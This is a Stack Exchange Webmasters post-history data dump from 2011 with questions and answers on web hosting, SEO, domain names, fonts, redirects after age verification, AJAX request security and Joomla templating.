  <row Id="25195" PostHistoryTypeId="2" PostId="11170" RevisionGUID="fa7d4f52-e16d-4214-b814-643a44036930" CreationDate="2011-03-24T17:25:31.533" UserId="233" Text="If possible, I would suggest changing your set-up so that all articles on the regular site are accessible via the mobile site. I don't know what your current process is but it sounds like you need to manually add articles to the mobile site. If you can automate that process then you can make this question essentially moot.&#xD;&#xA;&#xD;&#xA;A second option would be to not have a separate mobile site but a mobile stylesheet instead, which hides all the fluff and just shows the basic content, formatted for devices. This way you don't even need to detect mobiles yourself.&#xD;&#xA;&#xD;&#xA;Otherwise, I would suggest redirecting if an article is available, and not redirecting if no equivalent mobile page is available. The only problem here is what happens when the user is on the mobile site and they want an article that's on the main site but not the mobile site? I would really look at doing one of the first two options above." />
  <row Id="25196" PostHistoryTypeId="25" PostId="11164" RevisionGUID="e6baeb06-861c-4ee3-b7dc-d2737026b6c7" CreationDate="2011-03-24T17:30:29.020" Comment="http://twitter.com/#!/StackWebmasters/status/50972764470910976" />
  <row Id="25197" PostHistoryTypeId="2" PostId="11171" RevisionGUID="900130ca-ef3f-414e-8c3a-13c011fa084d" CreationDate="2011-03-24T17:38:03.927" UserId="6323" Text="One advantage a CMS could offer you is caching - &quot;saving&quot; page HTML for a few minutes, hours, or days so users who aren't logged in get these saved pages, instead of pages that execute all the database queries every time a page is loaded.  In addition to page caching, there are also other mechanisms available for caching parts of pages.&#xD;&#xA;&#xD;&#xA;500ms is a very long time for a pageload.  I would suggest you find professional help, since it sounds like you are using a lot of different technologies and are in a rather complicated situation." />
  <row Id="25198" PostHistoryTypeId="2" PostId="11172" RevisionGUID="47f6f3d3-7bd9-4f02-89c6-c5024e79775f" CreationDate="2011-03-24T17:56:33.747" UserId="6252" Text="I have used both of these and they are fairly decent in terms of customization..&#xD;&#xA;&#xD;&#xA;http://www.tutorialshock.com/tutorials/social-floating-bar-jquery-javascript/&#xD;&#xA;&#xD;&#xA;http://www.bitsntuts.com/css/pretty-css3-jquery-top-bar-navigation" />
  <row Id="25199" PostHistoryTypeId="2" PostId="11173" RevisionGUID="28af5ca5-3f25-450c-88bd-8ecd03d848e1" CreationDate="2011-03-24T18:58:26.047" UserId="529" Text="Don't worry about the verification. It's only for helping you get started; its not a requirement. (If you were to just begin sending data without verifying, it would just accept the data and not ask you to verify).  &#xD;&#xA;&#xD;&#xA;In all likelihood, the profile filters for your subdirectories are just misconfigured and are causing *all* traffic to be filtered out. Can you post the details of your configuration?" />
  <row Id="25200" PostHistoryTypeId="2" PostId="11174" RevisionGUID="09320ed3-f524-4695-8365-97ce307dae90" CreationDate="2011-03-24T19:57:52.720" UserId="6326" Text="I have a social network that I am creating and have a security question. I have the ability to have friends on the website and when you request a friend it would be a button that would run a script with AJAX using jQuery.&#xD;&#xA;&#xD;&#xA;I know that javascript can be easily hacked and also read here http://www.acunetix.com/websitesecurity/ajax.htm that AJAX is not as secure as it would seem. They state that &quot;Since XML HTTP requests function by using the same protocol as all else on the web (HTTP), technically speaking, AJAX-based web applications are vulnerable to the same hacking methodologies as ‘normal’ applications&quot; .&#xD;&#xA;&#xD;&#xA;So basically I don't want a worm to just keep running friend requests through my AJAX function and someone signs on the site and they have 14 million friend requests. This is also an issue with several other AJAX scripts that I run on the site. The question that I have is that should I just keep everything server side. I am using php so should every friend request just be a reload of the page as much as I would like to avoid such a thing? Please any help would be greatly appreciated.&#xD;&#xA;" />
  <row Id="25201" PostHistoryTypeId="1" PostId="11174" RevisionGUID="09320ed3-f524-4695-8365-97ce307dae90" CreationDate="2011-03-24T19:57:52.720" UserId="6326" Text="Question about AJAX saftey please help inquire" />
  <row Id="25202" PostHistoryTypeId="3" PostId="11174" RevisionGUID="09320ed3-f524-4695-8365-97ce307dae90" CreationDate="2011-03-24T19:57:52.720" UserId="6326" Text="&lt;php&gt;&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="25203" PostHistoryTypeId="2" PostId="11175" RevisionGUID="ed763380-7ca1-496e-a668-f1bbe1b7c6c8" CreationDate="2011-03-24T20:08:12.350" UserId="1253" Text="Really there is nothing different about this then any other application that accepts user input and has client-server communications. The fact that it's initiated by JavaScript is irrelevant. You need to implement the usual safeguards for transmitting data (SSL) and also have some form of user authentication involved (login/password, tokens, etc).&#xD;&#xA;&#xD;&#xA;Your server side script shouldn't care whether it's an Ajax request or regular form submission as it gets the same data either way. It should validate the request is authentic and validate the data accordingly. &#xD;&#xA;&#xD;&#xA;Since I'm sure you built this site using the principle of Progressive Enhancement and it works without JavaScript being enabled you shouldn't have to do anything special for the Ajax requests. If you do then you've made errors with the basic functionality of your application and need to revisit it." />
  <row Id="25204" PostHistoryTypeId="5" PostId="11175" RevisionGUID="0b71179a-8fd3-439e-87ac-cbe108daabc7" CreationDate="2011-03-24T20:17:22.203" UserId="1253" Comment="added 70 characters in body" Text="Really there is nothing different about this then any other application that accepts user input and has client-server communications. The fact that it's initiated by JavaScript is irrelevant. You need to implement the usual safeguards for transmitting data (SSL) and also have some form of user authentication involved (login/password, tokens, etc).&#xD;&#xA;&#xD;&#xA;Your server side script shouldn't care whether it's an Ajax request or regular form submission as it gets the same data either way. It should validate the request is authentic and validate the data accordingly. &#xD;&#xA;&#xD;&#xA;Since I'm sure you built this site using the principle of [Progressive Enhancement][1] and it works without JavaScript being enabled you shouldn't have to do anything special for the Ajax requests. If you do then you've made errors with the basic functionality of your application and need to revisit it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="25205" PostHistoryTypeId="25" PostId="11174" RevisionGUID="18ebee1d-a065-4820-80eb-ffda8cb72845" CreationDate="2011-03-24T20:30:28.650" Comment="http://twitter.com/#!/StackWebmasters/status/51018062316576768" />
  <row Id="25209" PostHistoryTypeId="2" PostId="11177" RevisionGUID="94d341b5-24cb-4440-8a14-dca8cd4cac27" CreationDate="2011-03-24T20:52:02.330" UserId="5849" Text="There is no difference between a page on a social media platform and on a non-social media platform (a regular page). Google considers them the same type of thing. But it is what is on those pages that will make the difference. For instance:&#xD;&#xA;&#xD;&#xA; - Sites like Twitter that have pages with lots of links will give each link less value than pages with just a few links. A webpage that also contains a large list of links will also give less link juice. &#xD;&#xA; - Social Media Sites usually have a lot of text that lowers the keyword density of the page making the page seem less relevant to your link (lower link juice). An article for example will have good keyword density and your link will have more relevancy. &#xD;&#xA; - Lots of Social Media sites use No follow links which will affect link juice as well. A blog with no follow links will give the same result. &#xD;&#xA;&#xD;&#xA;So on average, a social media page compared to a relevant regular webpage will give you less link juice for having a link on there, link for link. But it is still a good thing to do. Compare the number of links you may have scattered around social media sites compared to on regular webpages. &#xD;&#xA;&#xD;&#xA;So in summary, evaluate a social media page just like you would any webpage. " />
  <row Id="25213" PostHistoryTypeId="2" PostId="11178" RevisionGUID="8fc63b43-3b16-4cae-bac6-49632d226718" CreationDate="2011-03-24T21:26:34.973" UserId="5990" Text="I'm developing something for the ipad and web (this question is only ipad related), it's basically a web version of an image heavy point and click brochure app.&#xD;&#xA;&#xD;&#xA;Ideally, my header and footer would be fixed and the inner area (div, let's say) would be pan/zoomable.  Is there a way (preferably non-Byzantine) to achieve this?" />
  <row Id="25214" PostHistoryTypeId="1" PostId="11178" RevisionGUID="8fc63b43-3b16-4cae-bac6-49632d226718" CreationDate="2011-03-24T21:26:34.973" UserId="5990" Text="Is there a way to pan and zoom an element in iOS?" />
  <row Id="25215" PostHistoryTypeId="3" PostId="11178" RevisionGUID="8fc63b43-3b16-4cae-bac6-49632d226718" CreationDate="2011-03-24T21:26:34.973" UserId="5990" Text="&lt;css&gt;&lt;javascript&gt;&lt;ipad&gt;" />
  <row Id="25216" PostHistoryTypeId="2" PostId="11179" RevisionGUID="48fc5e82-e6f6-4a20-ac4b-033f92f25ac4" CreationDate="2011-03-24T21:35:49.687" UserId="6060" Text="How safe is it as a web designer to assume that `msttcorefonts` on a client machine viewing my website? If not what sans serif fonts should I use then? (for body)" />
  <row Id="25217" PostHistoryTypeId="1" PostId="11179" RevisionGUID="48fc5e82-e6f6-4a20-ac4b-033f92f25ac4" CreationDate="2011-03-24T21:35:49.687" UserId="6060" Text="safe to assume microsoft core fonts would be installed on client linux?" />
  <row Id="25218" PostHistoryTypeId="3" PostId="11179" RevisionGUID="48fc5e82-e6f6-4a20-ac4b-033f92f25ac4" CreationDate="2011-03-24T21:35:49.687" UserId="6060" Text="&lt;website-design&gt;&lt;fonts&gt;" />
  <row Id="25219" PostHistoryTypeId="2" PostId="11180" RevisionGUID="6a91b8a7-2e14-4b44-a340-35b3ae846e2b" CreationDate="2011-03-24T22:31:47.830" UserId="6330" Text="In terms of SEO, how beneficial might it be to go with [triviarank.com][1] for the extra &quot;trivia&quot; keyword?  This is for a trivia website I am constructing that gives users ranks when they answer questions.  &#xD;&#xA;&#xD;&#xA;The reason I originally went with [trivrank.com][2] was for the coolness of calling a user's rank &quot;trivrank&quot;.  It is also a tad shorter and half as many syllables.  I realize triviarank.com may also be more memorable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.triviarank.com&#xD;&#xA;  [2]: http://www.trivrank.com" />
  <row Id="25220" PostHistoryTypeId="1" PostId="11180" RevisionGUID="6a91b8a7-2e14-4b44-a340-35b3ae846e2b" CreationDate="2011-03-24T22:31:47.830" UserId="6330" Text="Domain name SEO: worth sacrificing shorter/cooler domain for keywords? trivrank.com vs triviarank.com" />
  <row Id="25221" PostHistoryTypeId="3" PostId="11180" RevisionGUID="6a91b8a7-2e14-4b44-a340-35b3ae846e2b" CreationDate="2011-03-24T22:31:47.830" UserId="6330" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="25222" PostHistoryTypeId="2" PostId="11181" RevisionGUID="887a34ca-6f0e-446a-95ac-1c2802908cdf" CreationDate="2011-03-24T22:44:55.550" UserId="1064" Text="&gt; Safe to assume Microsoft core fonts&#xD;&#xA;&gt; would be installed on client Linux?&#xD;&#xA;&#xD;&#xA;No, Microsoft's core fonts are typically not included with Gnome or KDE installations.&#xD;&#xA;&#xD;&#xA;You can use `font-family:sans-serif` to specify the *default* sans-serif font on any client machine (i.e. `font-family:Arial,sans-serif`)" />
  <row Id="25223" PostHistoryTypeId="2" PostId="11182" RevisionGUID="f1f59b76-4a75-4ec9-ae38-e2c0bbf123d1" CreationDate="2011-03-24T23:16:13.173" UserId="4706" Text="My current web host that I've been with for over a decade is jerking me around, and I'm ready to find a new provider.  Holy smokes!  There are so many!  It's overwhelming!&#xD;&#xA;&#xD;&#xA;I want to see a comparison of the most popular hosting providers.  I want to compare things like:&#xD;&#xA;&#xD;&#xA;* Bandwidth allotment&#xD;&#xA;* Storage limit&#xD;&#xA;* Databases&#xD;&#xA; * MySQL&#xD;&#xA; * SQL Server&#xD;&#xA;* # of Free Domains&#xD;&#xA;* # of Sites&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;Better would be a tool that let's me supply parameters that will narrow down the list.  Ie, only windows with unlimited storage, unlimited bandwidth, free sql server databases and less than $5.00 month.&#xD;&#xA;&#xD;&#xA;I've found a couple of sites that do something like this, but not very well.  Is there something like what I'm looking for already on the web?  I don't want to go to dozens of different hosting provider sites and jot down all the stats manually." />
  <row Id="25224" PostHistoryTypeId="1" PostId="11182" RevisionGUID="f1f59b76-4a75-4ec9-ae38-e2c0bbf123d1" CreationDate="2011-03-24T23:16:13.173" UserId="4706" Text="Comparison of web hosting providers" />
  <row Id="25225" PostHistoryTypeId="3" PostId="11182" RevisionGUID="f1f59b76-4a75-4ec9-ae38-e2c0bbf123d1" CreationDate="2011-03-24T23:16:13.173" UserId="4706" Text="&lt;web-hosting&gt;" />
  <row Id="25227" PostHistoryTypeId="25" PostId="11180" RevisionGUID="81385f8b-78fb-4b99-946f-3d5eca369de5" CreationDate="2011-03-24T23:30:29.200" Comment="http://twitter.com/#!/StackWebmasters/status/51063363060498432" />
  <row Id="25228" PostHistoryTypeId="2" PostId="11183" RevisionGUID="ab53bbe8-e004-4ba4-a874-880d2c184953" CreationDate="2011-03-24T23:33:25.250" UserId="4706" Text="Consider font embedding:  &#xD;&#xA;http://jumpingfishes.com/font/&#xD;&#xA;&#xD;&#xA;If you don't like that option, I agree with danlefree's suggestion of using `font-family: sans-serif;` to get the default sans-serif font." />
  <row Id="25229" PostHistoryTypeId="2" PostId="11184" RevisionGUID="fd1507ca-2aab-419f-accb-f2aa84b92579" CreationDate="2011-03-24T23:40:20.133" UserId="4706" Text="It's time for me to find a new web host, and I'm a bit overwhelmed by the selection.  I need a Windows host.  One provider that seems to stand out is [MochaHost](http://www.mochahost.com/webhosting_windows.php) as a Windows host.  Here are a few of the things that look amazing to me:&#xD;&#xA;&#xD;&#xA;* **2** free domains for life.  ***2!!***&#xD;&#xA;* MS SQL Support - Unlimited Databases&#xD;&#xA;* 5,000 sites&#xD;&#xA;* $3.33/month&#xD;&#xA;* Unlimited everything (traffic, storage, domains, etc.)&#xD;&#xA;&#xD;&#xA;Is MochaHost too good to be true?  Maybe it is notoriously unreliable (despite their 100% uptime guarantee)?  Are there other considerations I may be forgetting?" />
  <row Id="25230" PostHistoryTypeId="1" PostId="11184" RevisionGUID="fd1507ca-2aab-419f-accb-f2aa84b92579" CreationDate="2011-03-24T23:40:20.133" UserId="4706" Text="Is MochaHost as good as it sounds?" />
  <row Id="25231" PostHistoryTypeId="3" PostId="11184" RevisionGUID="fd1507ca-2aab-419f-accb-f2aa84b92579" CreationDate="2011-03-24T23:40:20.133" UserId="4706" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;windows&gt;&lt;.net&gt;" />
  <row Id="25232" PostHistoryTypeId="5" PostId="11184" RevisionGUID="8bd0e445-7cb2-49d3-8789-8e02bde92b30" CreationDate="2011-03-25T00:03:41.567" UserId="4706" Comment="remove redundancy" Text="It's time for me to find a new web host, and I'm a bit overwhelmed by the selection.  I need a Windows host.  One provider that seems to stand out is [MochaHost](http://www.mochahost.com/webhosting_windows.php).  Here are a few of the things that look amazing to me:&#xD;&#xA;&#xD;&#xA;* **2** free domains for life.  ***2!!***&#xD;&#xA;* MS SQL Support - Unlimited Databases&#xD;&#xA;* 5,000 sites&#xD;&#xA;* $3.33/month&#xD;&#xA;* Unlimited everything (traffic, storage, domains, etc.)&#xD;&#xA;&#xD;&#xA;Is MochaHost too good to be true?  Maybe it is notoriously unreliable (despite their 100% uptime guarantee)?  Are there other considerations I may be forgetting?" />
  <row Id="25241" PostHistoryTypeId="2" PostId="11187" RevisionGUID="9cb502ff-66c4-4e82-b8fc-b7c171e55806" CreationDate="2011-03-25T02:04:42.490" UserId="6333" Text="I've tried searching this an innumerable amount of times with different word combinations, can't seem to crack it.  Apparently I do not know the right terms in this situation.&#xD;&#xA;&#xD;&#xA;When you come to my client's site, it needs to verify that you are 21 years of age of older.  If you hit any page on the domain, it checks to see if the verified age cookie is set.  If not, it takes you to a challenge page to give your date of birth, after which it forwards you to the index page (or a rejection page, if you answered incorrectly).&#xD;&#xA;&#xD;&#xA;The problem I have run into is as follows:&#xD;&#xA;If a user finds any one of the pages in a search engine, after they pass the age test, how do I send them back to page they were originally requesting?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;User finds www.site.com/blog.php in google, after clicking the link, they are redirected to www.site.com/age_verify.php.  After they pass the test, how do I send them back to www.site.com/blog.php instead of the default www.site.com?&#xD;&#xA;&#xD;&#xA;I'm flummoxed.  I'm pretty sure I'm dealing with HTTP referrers, but I don't know in what capacity. " />
  <row Id="25242" PostHistoryTypeId="1" PostId="11187" RevisionGUID="9cb502ff-66c4-4e82-b8fc-b7c171e55806" CreationDate="2011-03-25T02:04:42.490" UserId="6333" Text="Temporary redirect needs to detect the URL of original page request from a search engine then redirect again to that page" />
  <row Id="25243" PostHistoryTypeId="3" PostId="11187" RevisionGUID="9cb502ff-66c4-4e82-b8fc-b7c171e55806" CreationDate="2011-03-25T02:04:42.490" UserId="6333" Text="&lt;html&gt;&lt;redirects&gt;&lt;cookie&gt;&lt;referrer&gt;" />
  <row Id="25244" PostHistoryTypeId="2" PostId="11188" RevisionGUID="4a993e86-2aa0-43a4-9e0d-43e86f7d33f1" CreationDate="2011-03-25T02:20:54.817" UserId="6334" Text="I am trying to re-do my portfolio website since its a pain to maintain it. Everytime I have to add a new item to it, it just takes forever and kills me. I'd like to redesign in a way that makes the workflow of adding new items smooth. I am not looking for fancy effects, just a simple website which makes it easy to people browse through my stuff.&#xD;&#xA;&#xD;&#xA;All of the pages are standalone html files. Each page has a common header and footer for navigation between pages. Right now, whenever I have to modify the content, I try to dig in which table row it is and then add content to it. (yes, I use notepad).&#xD;&#xA;&#xD;&#xA;Can someone please recommend me what would be the best way to go about it ?&#xD;&#xA;&#xD;&#xA;(PS: Please let me know if I missed out anything).&#xD;&#xA;&#xD;&#xA;Linkie: http://p-yank.com/" />
  <row Id="25245" PostHistoryTypeId="1" PostId="11188" RevisionGUID="4a993e86-2aa0-43a4-9e0d-43e86f7d33f1" CreationDate="2011-03-25T02:20:54.817" UserId="6334" Text="design website using header and footer template approach" />
  <row Id="25246" PostHistoryTypeId="3" PostId="11188" RevisionGUID="4a993e86-2aa0-43a4-9e0d-43e86f7d33f1" CreationDate="2011-03-25T02:20:54.817" UserId="6334" Text="&lt;html&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;headers&gt;" />
  <row Id="25247" PostHistoryTypeId="2" PostId="11189" RevisionGUID="e036a821-93af-4f91-a2f0-6530f2b37a61" CreationDate="2011-03-25T02:23:31.523" UserId="5806" Text="In age_verify.php you must save $_SERVER['HTTP_REFERER'] which is the referer in a variable, say $referer.&#xD;&#xA;&#xD;&#xA;There are multiple ways to take it from there but one simply way is that you set the cookie&#xD;&#xA;and call age_verify.php?ref=$referer (easy to do through a GET form).&#xD;&#xA;&#xD;&#xA;Before ANY output is made from age_verify.php it must check the cookie and if it is there, redirect to $referer. This is done using header(&quot;Location: $referer&quot;)." />
  <row Id="25248" PostHistoryTypeId="2" PostId="11190" RevisionGUID="aabd851c-9c25-40f7-8f73-394a36c71053" CreationDate="2011-03-25T02:29:13.857" UserId="5806" Text="There are probably 1000 ways to do this which vary in cost, control and complexity.&#xD;&#xA;&#xD;&#xA;If you go to PHP or even just SSI, you can move the common parts to separate files and include them where needed, so that each page mostly consists of what is different.&#xD;&#xA;&#xD;&#xA;You can use a template system where an application like Dreamweaver maintains templates for you can each time you modify it, it will prompt you to update your other files. You have to then synchronize the changes.&#xD;&#xA;&#xD;&#xA;You can also build or buy a content management system where generates webpages for you. You fill the content in some complex entry forms, sometimes using a WYSIWYG editor, and the platform picks up changes automatically. This is an oversimplified version of what Wordpress does." />
  <row Id="25249" PostHistoryTypeId="25" PostId="11187" RevisionGUID="8b1f2ec9-4380-414a-b4d8-a2b392410ba3" CreationDate="2011-03-25T02:30:29.223" Comment="http://twitter.com/#!/StackWebmasters/status/51108661799559168" />
  <row Id="25250" PostHistoryTypeId="2" PostId="11191" RevisionGUID="0b5de40d-0d34-410b-9da0-2932182861e7" CreationDate="2011-03-25T04:17:33.890" UserId="5954" Text="Don't rely on the referrer. You can store the URL as a query string parameter, or as a session parameter.&#xD;&#xA;&#xD;&#xA; 1. User hits blog.php. This page checks for the age cookie. &#xD;&#xA; 2. If age cookie not present, store current URL as a query string parameter like this - /age_verify.php?returnURL=blog.php. Alternatively, store the url in a session parameter.&#xD;&#xA; 3. Redirect the user to age_verify&#xD;&#xA; 4. After verifying age, extract the url from either the query string, or from the session, and perform another redirect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25251" PostHistoryTypeId="2" PostId="11192" RevisionGUID="7d4ead22-31fc-4c06-96d1-de32b188236c" CreationDate="2011-03-25T04:42:01.620" UserId="4461" Text=" 1. For SEO - no&#xD;&#xA; 2. For Branding - yes&#xD;&#xA;&#xD;&#xA;Unfortunately keywords in the domain-name still have a slightly over-emphasized ranking weight (hopefully changing soon).&#xD;&#xA;&#xD;&#xA;Until your brand has visibility or has reached the tipping-point with your users, I'd err on the safe side and ensure that the full-keyword domain is 301 redirected to your shorter version.&#xD;&#xA;&#xD;&#xA;There's a couple of good case-studies to reflect on: [flickr.com][1] (stuck with the shorter brand) and [twitter.com][2] (went from twttr.com to the word).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.domainsfactory.com/2010/07/at-last-flickr-com-takes-over-flicker-com-domain/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Twitter#Creation" />
  <row Id="25252" PostHistoryTypeId="2" PostId="11193" RevisionGUID="641d782a-81cd-4e31-88ca-0af4253f9477" CreationDate="2011-03-25T04:51:11.860" UserId="1064" Text="Use [XSLT][1] to generate your X/HTML output - it's supported by popular browsers and it is ideal for applying a single template to multiple documents without any server-side processing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/xslt" />
  <row Id="25253" PostHistoryTypeId="25" PostId="11179" RevisionGUID="3c38854c-1aa0-4b40-8f25-48f12a285afa" CreationDate="2011-03-25T05:30:29.753" Comment="http://twitter.com/#!/StackWebmasters/status/51153962367332352" />
  <row Id="25256" PostHistoryTypeId="2" PostId="11194" RevisionGUID="a7526aec-65f7-4689-93f3-c049677d6bee" CreationDate="2011-03-25T07:44:49.160" UserId="6312" Text="I have founded an appropriate free Joomla component called [Zaragoza Content][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://goo.gl/lMbZL&#xD;&#xA;&#xD;&#xA;Current implementation for Joomla 1.5 is a little bit buggy, but here is my fix:&#xD;&#xA;&#xD;&#xA; 1. Install this component into Joomla. After this you can select the main menu item type &quot;Zaragoza Content » Blog&quot; and select IDs of categories you want to display in the single feed.&#xD;&#xA; 2. Overwrite the file &quot;\components\com_zaragozacontent\views\blog\tmpl\default_blog_item.php&quot; by the file from your current template, in my case &quot;\templates\[template-name]\html\com_content\category\blog_item.php&quot;, because it has a bit different presentation.&#xD;&#xA; 3. Fix the file \components\com_zaragozacontent\views\blog\view.html.php by adding 2 lines to the top of it (right after the first PHP open brace &quot;?php&quot;):&#xD;&#xA;&#xD;&#xA;    JHTML::addIncludePath(JPATH_COMPONENT.DS.'helpers');&#xD;&#xA;    JHTML::addIncludePath(JPATH_BASE.DS.'components'.DS.'com_content'.DS.'helpers');&#xD;&#xA;" />
  <row Id="25257" PostHistoryTypeId="2" PostId="11195" RevisionGUID="273af4f5-28bd-4982-b3f2-61a19689a1c6" CreationDate="2011-03-25T08:06:56.630" UserId="6335" Text="They are a lot of tools, that can automatically submit my website to thousands of web-catalogs.&#xD;&#xA;&#xD;&#xA;Is it a good practice to increate rankings ?&#xD;&#xA;&#xD;&#xA;What are pros and cons against it ?" />
  <row Id="25258" PostHistoryTypeId="1" PostId="11195" RevisionGUID="273af4f5-28bd-4982-b3f2-61a19689a1c6" CreationDate="2011-03-25T08:06:56.630" UserId="6335" Text="Automatic registration in web-catalogs and SEO" />
  <row Id="25259" PostHistoryTypeId="3" PostId="11195" RevisionGUID="273af4f5-28bd-4982-b3f2-61a19689a1c6" CreationDate="2011-03-25T08:06:56.630" UserId="6335" Text="&lt;seo&gt;&lt;tools&gt;" />
  <row Id="25260" PostHistoryTypeId="25" PostId="11195" RevisionGUID="635d5b07-86e0-42ff-b680-f5eda014a5ef" CreationDate="2011-03-25T08:30:29.957" Comment="http://twitter.com/#!/StackWebmasters/status/51199261882335233" />
  <row Id="25261" PostHistoryTypeId="2" PostId="11196" RevisionGUID="8f703063-0759-48ae-8890-28701f914aba" CreationDate="2011-03-25T08:35:03.453" UserId="1089" Text="A couple of google searches don't bring up the most favourable reviews. &#xD;&#xA;&#xD;&#xA;My experiences with webhosts are that you only find out the true value of them when something goes wrong - which invariably they do from time to time. Looking at the website support the only contact number mentions a callback. This would suggest when something does go wrong getting to speak to someone in person might be difficult.&#xD;&#xA;" />
  <row Id="25262" PostHistoryTypeId="2" PostId="11197" RevisionGUID="3d8437c8-d857-4cd6-a1c1-a03d46307e96" CreationDate="2011-03-25T08:49:40.050" UserId="6337" Text="I would be very interested in your views on the following.&#xD;&#xA;&#xD;&#xA;-When looking at a website, what information is essential to stand out first?&#xD;&#xA;   &#xD;&#xA;-What are the key concepts of a successful website?&#xD;&#xA;&#xD;&#xA;-How important do you feel it is in the 21st century to promote or advertise via a website?&#xD;&#xA;&#xD;&#xA;Thank alot Richard&#xD;&#xA;" />
  <row Id="25263" PostHistoryTypeId="1" PostId="11197" RevisionGUID="3d8437c8-d857-4cd6-a1c1-a03d46307e96" CreationDate="2011-03-25T08:49:40.050" UserId="6337" Text="What are the key concepts of a successful website?" />
  <row Id="25264" PostHistoryTypeId="3" PostId="11197" RevisionGUID="3d8437c8-d857-4cd6-a1c1-a03d46307e96" CreationDate="2011-03-25T08:49:40.050" UserId="6337" Text="&lt;website-design&gt;&lt;advertising&gt;&lt;websites&gt;&lt;web&gt;" />
  <row Id="25265" PostHistoryTypeId="17" PostId="11199" RevisionGUID="fd282779-fbf8-4627-818a-421dfa08e600" CreationDate="2011-03-25T08:51:59.657" UserId="-1" Comment="from http://serverfault.com/questions/67371/international-domains-best-practices/67372#67372" Text="" />
  <row Id="25266" PostHistoryTypeId="17" PostId="11200" RevisionGUID="7be8ec34-f1bb-46f1-8d8b-ed5264b31e44" CreationDate="2011-03-25T08:51:59.657" UserId="-1" Comment="from http://serverfault.com/questions/67371/international-domains-best-practices/67373#67373" Text="" />
  <row Id="25267" PostHistoryTypeId="17" PostId="11201" RevisionGUID="0dda82fa-1c20-4467-b7a1-aa498aeb9cf9" CreationDate="2011-03-25T08:51:59.657" UserId="-1" Comment="from http://serverfault.com/questions/67371/international-domains-best-practices/67379#67379" Text="" />
  <row Id="25268" PostHistoryTypeId="2" PostId="11199" RevisionGUID="c404871a-7d8f-416e-859e-8dfc314d8071" CreationDate="2009-09-21T16:29:25.990" UserDisplayName="Daniel May" Text="I'm not entirely sure what you're asking here - but it probably belongs on serverfault.&#xD;&#xA;&#xD;&#xA;To register a .RU domain, try [NIC][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nic.ru/en/" />
  <row Id="25269" PostHistoryTypeId="2" PostId="11201" RevisionGUID="62167591-3daf-4958-8856-6186e2e88a99" CreationDate="2009-09-21T16:58:44.460" UserDisplayName="DVK" Text="From &quot;need&quot;, I'm inferring this is somehow oriented towards commercial activity. As such:&#xD;&#xA;&#xD;&#xA;Best practice: avoid doing business in former Soviet Union in the first place (see &quot;Dealing with the Devil, First rule, of&quot;).&#xD;&#xA;&#xD;&#xA;If you can't avoid that, at least, if you can, register through some big name company headquartered outside of fUSSR, and definitely host outside fUSSR.&#xD;&#xA;&#xD;&#xA;Reasons are many and varied, including the levels of corruption (not only graft is an **expected** cost of doing business at pretty much all levels, but the bureaucrats aren't even honest in the sense of having been bought, stay bought); and the level of control over any media, Internet included, by FSB.&#xD;&#xA;&#xD;&#xA;On the technical side, as already mentioned, there's no difference between this and .com, other than the set of registrars that are selling .ru domains.&#xD;&#xA;&#xD;&#xA;On the legal side, there may be issues from Russia's side on legality of non-russian entity owning `.ru` domain but i never heard of such. As usual, consult with a real lawyer.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="25270" PostHistoryTypeId="2" PostId="11200" RevisionGUID="4491ff4c-e1a7-4ec1-879e-b6d6de648189" CreationDate="2009-09-21T16:29:32.557" UserDisplayName="fred" Text="Alan right, it's a ServerFault quiestion, but in any way creating that site is not more complex then creating .com web-site :) You may buy russian hosting with auto .ru registration (net.ru for example) or register domain yourself with your favorite registrator" />
  <row Id="25271" PostHistoryTypeId="2" PostId="11198" RevisionGUID="244d266a-8d0e-4c5a-b648-c304099ef3de" CreationDate="2009-09-21T16:25:48.320" UserDisplayName="unknown (google)" Text="I need to create a Russian website with a .ru domain extension. How would I go about this? What are some best practices for doing this?" />
  <row Id="25272" PostHistoryTypeId="1" PostId="11198" RevisionGUID="244d266a-8d0e-4c5a-b648-c304099ef3de" CreationDate="2009-09-21T16:25:48.320" UserDisplayName="unknown (google)" Text="International domains - best practices" />
  <row Id="25273" PostHistoryTypeId="3" PostId="11198" RevisionGUID="244d266a-8d0e-4c5a-b648-c304099ef3de" CreationDate="2009-09-21T16:25:48.320" UserDisplayName="unknown (google)" Text="&lt;domains&gt;" />
  <row Id="25274" PostHistoryTypeId="17" PostId="11198" RevisionGUID="4a33b627-5b22-4f6e-bbf5-780c66ed1d4f" CreationDate="2011-03-25T08:51:59.657" UserId="-1" Comment="from http://serverfault.com/questions/67371/international-domains-best-practices" Text="" />
  <row Id="25275" PostHistoryTypeId="5" PostId="11140" RevisionGUID="42335d2e-e8ab-489e-a08f-d8e97a0ff758" CreationDate="2011-03-25T09:08:24.627" UserId="2290" Comment="formating; added 31 characters in body; deleted 1 characters in body" Text="from a SEO perspective&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;GENERAL URL RULES:&#xD;&#xA;&#xD;&#xA;all URLs on an a webproperty must be according to these rules (listed in priority)&#xD;&#xA;&#xD;&#xA;1) unique (1 URL == 1 ressource) - the canonical must be the same URL as used in the navigation!!!&#xD;&#xA;&#xD;&#xA;2) permanent (they do not change)&#xD;&#xA;&#xD;&#xA;3) manageable (1 logic per site section, no complicated exceptions)&#xD;&#xA;&#xD;&#xA;4) easily scaleable logic&#xD;&#xA;&#xD;&#xA;5) short&#xD;&#xA;&#xD;&#xA;6) with a targeted keyword phrase&#xD;&#xA;&#xD;&#xA;the targeted keyword phrase is the least important - but it's still important. if you can have a short, scaleable, manageable, permanent, unique URL logic - (even with non-english characters) then go for the targeted keyword 